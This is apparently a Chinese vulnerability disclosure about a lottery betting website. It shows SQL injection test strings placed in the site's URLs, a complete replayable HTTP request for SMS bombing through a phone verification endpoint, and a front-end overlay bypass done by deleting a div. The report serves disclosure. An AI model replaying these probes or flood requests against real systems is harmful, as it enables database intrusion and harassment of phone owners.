投注网伪静态sql注入、短信轰炸、前端绕过

1、sql注入：80 8080 8888端口均有此问题

以80端口的一个链接为例

http://goucai.touzhu.cn/actinfo/news_39692.html

http://goucai.touzhu.cn/actinfo/news_39692 and 1=1.html
 

http://goucai.touzhu.cn/actinfo/news_39692 and 1=2.html
 

2.短信轰炸

只以一个发短信接口为例，其他可能还有，需要自查。
 

POST /customer/AllUserCheck.php HTTP/1.1
Host: goucai.touzhu.cn
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0
Accept: */*
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: http://goucai.touzhu.cn/customer/usersafe.php?usercz=5
Content-Length: 86
Cookie: PHPSESSID=ec00834031229b68214238f4227e66db; bdshare_firstime=1408523278454; helpskaiguan=CaiSo; JSESSIONID=451A224458AEA552813A284CF63807D2; Hm_lvt_bd0a40a63edb615722f22f4239f42596=1408523821; Hm_lpvt_bd0a40a63edb615722f22f4239f42596=1408524201; Hm_lvt_1960c483f4fc5ef584a135a1bf5419bf=1408524211; Hm_lpvt_1960c483f4fc5ef584a135a1bf5419bf=1408524238
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache

jq_input_mobile=13812345678&actionc=newSendMobileCheckCode&suijishu=0.9894352478371744

3.div浮层绕过

http://goucai.touzhu.cn/customer/toUserEmail.php 修改验证邮箱，没实名认证会弹div浮层。
 

审查元素，删除<div style="display:block" id="pzzceng"></div>，可绕过限制
 

修复方案：

修复吧